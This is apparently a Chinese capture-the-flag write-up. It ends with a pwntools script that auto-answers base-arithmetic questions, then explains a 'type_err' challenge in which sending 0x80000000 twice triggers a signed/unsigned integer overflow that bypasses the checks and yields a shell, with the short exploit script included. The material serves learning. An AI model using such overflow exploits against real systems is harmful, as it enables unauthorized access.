        initial = r.recvuntil(b'[', timeout=5)
        # 然后接收完整的题目行
        data_line = r.recvuntil(b'?', timeout=5).decode(errors='ignore')
        data = '[' + data_line
        question_count += 1
 
        print(f"\n{'=' * 60}")
        print(f"Question #{question_count}:")
        print(data)
 
        if any(flag in data for flag in ['PCTF{', 'flag{', 'FLAG{', 'ctf{', 'CTF{']):
            print("🎉 FLAG FOUND! 🎉")
            print(data)
            try:
                more_data = r.recvall(timeout=2)
                if more_data:
                    print(more_data.decode(errors='ignore'))
            except:
                pass
            break
 
        answer = solver.solve_question(data)
 
        if answer:
            print(f"✅ Sending answer: {answer}")
            r.sendline(answer.encode())
        else:
            log.error("❌ Failed to solve, sending '0'")
            r.sendline(b'0')
 
        try:
            response = r.recvline(timeout=3).decode(errors='ignore')
            print(f"Response: {response.strip()}")
            if "incorrect" in response.lower() or "invalid" in response.lower():
                log.error("Last answer was incorrect!")
                # 重新计算并显示详细信息
                log.info("=== DEBUG INFO ===")
                log.info(f"Question: {data}")
                log.info(f"Our answer: {answer}")
                # 手动验证
                base_match = re.search(r'\(base\s+(\w+)\)', data)
                if base_match:
                    base_str = base_match.group(1)
                    base = solver.detect_base(base_str)
                    num1, op, num2 = solver.extract_expression(data)
                    if all([num1, op, num2]):
                        a = solver.convert_from_base(num1, base)
                        b = solver.convert_from_base(num2, base)
                        if a is not None and b is not None:
                            if op == '+':
                                result = a + b
                            elif op == '*':
                                result = a * b
                            elif op == '-':
                                result = a - b
                            elif op == '/':
                                result = a // b if b != 0 else None
                            elif op == '%':
                                result = a % b if b != 0 else None
                            if result is not None:
                                expected = solver.convert_to_base(result, base)
                                log.info(f"Expected answer: {expected}")
        except:
            print("⏰ No response or timeout")
 
except EOFError:
    print("🔌 Connection closed by server")
    try:
        final_data = r.recvall(timeout=2)
        if final_data:
            print("Final output:", final_data.decode(errors='ignore'))
    except:
        pass
except KeyboardInterrupt:
    print("⏹️ Interrupted by user")
except Exception as e:
    print(f"💥 Error: {e}")
    import traceback
 
    traceback.print_exc()
 
r.close()
print("🔚 Script finished")

type_err

整数溢出

2次输入,5次check。

两次输入0x80000000即可。

第二次check a是一个无符号数,0x80000000<0x80000007;第三次check,a是int,0x80000000=溢出最大负数=-0x80000000<-4;第五次check,b==0x8000000,obfuscate_value(input_hint, b)

与obfuscate_value(hint, 0x80000000)一样,故可绕过所有check,拿到shell。

python 复制代码
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
p=remote('challenge.imxbt.cn',30212)
e=ELF('./pwn')
libc=ELF("./libc.so.6")
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
sla=lambda x:p.sendlineafter(x)
n2b=lambda x:str(x).encode()
sn=lambda x:sl(n2b(x))

def bug():
	gdb.attach(p);pause()  

sn(0x80000000)
sn(0x80000000)
p.interactive()

总结

很好的题目。这周的量,继续加油qwq!

成功不是最终的,失败也不是致命的,重要的是继续前进的勇气。

相关推荐
菩提小狗2 小时前
每日安全情报报告 · 2026-04-10
网络安全·漏洞·cve·安全情报·每日安全
JS_SWKJ2 小时前
网闸核心技术详解:数据“安全渡河”的物理密码
网络安全
网安情报局4 小时前
RSAC 2026深度解析:AI对抗AI成主流,九大安全能力全面升级
人工智能·网络安全
云安全助手5 小时前
OpenClaw安全深度解析:开放生态下的AI智能体风险与防护实战
人工智能·网络安全
乾元6 小时前
《硅基之盾》番外篇一:时间的折叠——AI 时代下的物理隔离与传统工控(ICS/OT)安全
网络·人工智能·安全·网络安全·架构
千枫s6 小时前
kali怎么制作所有长度的爆破字典
网络·网络安全
AI_Claude_code6 小时前
ZLibrary访问困境方案二:DNS-over-HTTPS/TLS配置与隐私保护实践
爬虫·python·网络协议·http·网络安全·https·网络爬虫
pencek6 小时前
HakcMyVM-Nebula
网络安全
188号安全攻城狮7 小时前
【前端基础知识】JavaScript 数组方法总结:从表格速查到分类详解
开发语言·前端·javascript·网络安全